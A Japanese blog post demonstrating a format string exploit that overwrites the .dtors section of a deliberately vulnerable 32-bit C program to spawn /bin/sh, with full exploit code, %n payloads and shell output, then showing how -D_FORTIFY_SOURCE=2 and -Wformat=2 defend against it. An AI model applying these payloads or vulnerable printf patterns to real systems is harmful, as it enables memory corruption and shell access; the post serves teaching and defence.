補足3: .dtors overwrite をちゃんとformat string bugでやってみるか (別名 -D_FORTIFY_SOURCE=2 のすすめ)


これの続きです。


GOT overwrite でも .dtors overwrite でもなんでもいいんですけど、main関数で直接メモリを4バイト書き換えるのではなくて、ちゃんと(?) format string bug を悪用した書き換えを試してみます。リハビリです。format string bug の解説は、ここが秀逸だと思います(特に4章以降)。条件は前と同じで、

  • NXあり
  • ASLRあり
  • RELROなし
  • PIEなし

です。まず、次のような関数(vuln)を準備します。

static void vuln(const char* s) {
  printf(s);   // <-- exploitable
}

で、この関数をまずは次のように呼んでみます。

  vuln("0x%08x\n"
       "0x%08x\n"
       "0x%08x\n"
       "0x%08x\n"
       "0x%08x\n");

printf関数に引数はひとつしかありませんが、フォーマット文字列に%xが5つ含まれているので、printf関数はスタック上に引数が積まれていると思い込み、それを拾って表示します。つまり、スタックに何がつまれているかを攻撃者は知ることができます*1


次、.dtors書き換え。format string には %n というのがありまして、これは、「いままで出力した文字数を変数に書け」という意味です。思い切り説明を端折りますが、次のコードで .dtors overwrite が実現できます。

// dtor_overwrite_fmt.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

__attribute__((destructor)) static void dtor_fn() {
  puts("good bye!");
}

static void my_dtor_fn(void) {
  system("/bin/sh");
}

static void vuln(const char* s) {
  printf(s);
}

// % objdump -sj .dtors dtor_overwrite_fmt
// セクション .dtors の内容:
//  8049558 ffffffff e4830408 00000000        
//  ^^^^^^^ +0       +4       +8
    
#define DTOR_SECTION_ADDR (0x8049558U + 4)

int main(int argc, char** argv) {
  uintptr_t d_addr[4] = {
    DTOR_SECTION_ADDR,        // %5$
    DTOR_SECTION_ADDR + 1,    // %6$
    DTOR_SECTION_ADDR + 2,    // %7$
    DTOR_SECTION_ADDR + 3     // %8$
  };

  // % objdump -d dtor_overwrite_fmt | grep '<my_dtor_fn>:'
  // 080483f8 <my_dtor_fn>:
  // ^^^^^^^^

  vuln("%1$0134513656x" "%5$n"); // 0x80483f8 = 134513656
  return 0;
}

なお、"%1$x" は 「1番目の引数から読め」、"%5$n" は「5番目の引数に書け」という意味になります。フォーマット文字列中で '$' がこのように使えるというのは、ちょっとしたトリビアですね。


攻撃コードを実行すると、シェルが起動します。

% ./dtor_overwrite_fmt > /dev/null
sh-3.1$

この例では1億文字を/dev/nullに出力してしまっているので、shell起動までに時間がかかります。環境によっては、これでは攻撃が成功しないこともあるでしょう。あまり大量の文字を出力したくない場合は、8バイトづつ書く方法もあります。リトルエンディアンで、4バイト書き込みのアドレスが4バイト境界にアラインしていなくてもOKなx86だからできる技ですね。書き換えた4バイトの直後3バイトを破壊する点には注意。

(http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/format_strings/ より)

     AA 00 00 00          |  0x0804955c
        BB 00 00 00       |  0x0804955d
           CC 00 00 00    |  0x0804955e
              DD 00 00 00 |  0x0804955f
    ----------------------|
     AA BB CC DD          |  Result starting at 0x0804955c

ここでは、次のコードでいけます。%nで書き込む値は単調増加しなければいけません(%nで出力されるのは、いままで書き込んだ文字列の総計なので)。ですから、0xf8の後に0x83は書けません。0x83を書くかわりに、0x183を書いているのはそのためです。余分な'1'は、次の3回目の書き込みで上書きされます。

  // 080483f8 <my_dtor_fn>:
  //   0x0f8 = 248
  //   0x183 = 387 (差分 +139)
  //   0x204 = 516 (差分 +129)
  //   0x308 = 776 (差分 +260)

  vuln("%1$0248x" "%5$n"
       "%1$0139x" "%6$n"
       "%1$0129x" "%7$n"
       "%1$0260x" "%8$n");

類似の攻撃


format stringを利用した各種攻撃法は、こちらのページによくまとまっています。

本題: format string bug から身を守る (FORTIFY_SOUERCEのすすめ)


プログラムを次の要領でコンパイルしましょう。gccの内部事情(ビルトイン関数がほにゃらら)で、-O1 以上の最適化が必要です。

% gcc -O -D_FORTIFY_SOURCE=2 -o dtor_overwrite_fmt ./dtor_overwrite_fmt.c

% ./dtor_overwrite_fmt
*** invalid %N$ use detected ***
zsh: abort      ./dtor_overwrite_fmt

文字列リテラル以外で、printf系関数に %n が渡ると、その場でプログラムがabortするようになります。

format string bug の害


ここまでで見てきたように、format string bug は、ざっくり

  1. メモリのお好きな場所を読む(%s), スタックの内容を読む(%x)
  2. メモリのお好きな場所に書く(%n)

という二種類の攻撃に使えます。2.の害は上に書いた通りで、また _FORTIFY_SOURCE で防御できます。


問題は1.のreadのほうです。こちらはgcc&glibcでは防御できません。1.はreadということで一見無害っぽいんですけど、もしプロセスをクラッシュさせないまま、このバグの悪用でスタックが読めると、スタックに積まれた "戻りアドレス"を攻撃者にリークしてしまうことになります。これって、ASLR+DSOや、ASLR+PIEなバイナリがメモリのどこにマップされてるかをリークするのとほぼ同じだったりするので、有害です。ランダム化されたスタックの開始アドレスも、saved-ebp経由でおよその値がバレちゃいますしね。


まとめると、format string bug によってASLR (exec_shield_randomize or randomize_va_space) が無意味になるケースがあり、これはランタイムの自動防御が難しい、ということです。気を付けましょう。gcc -Wformat=2 で、format string bug の疑いのある箇所をコンパイラに警告させることができますんで、活用すると良いかも。

*1:これにより、折角のASLRやPIEが無意味になります、後述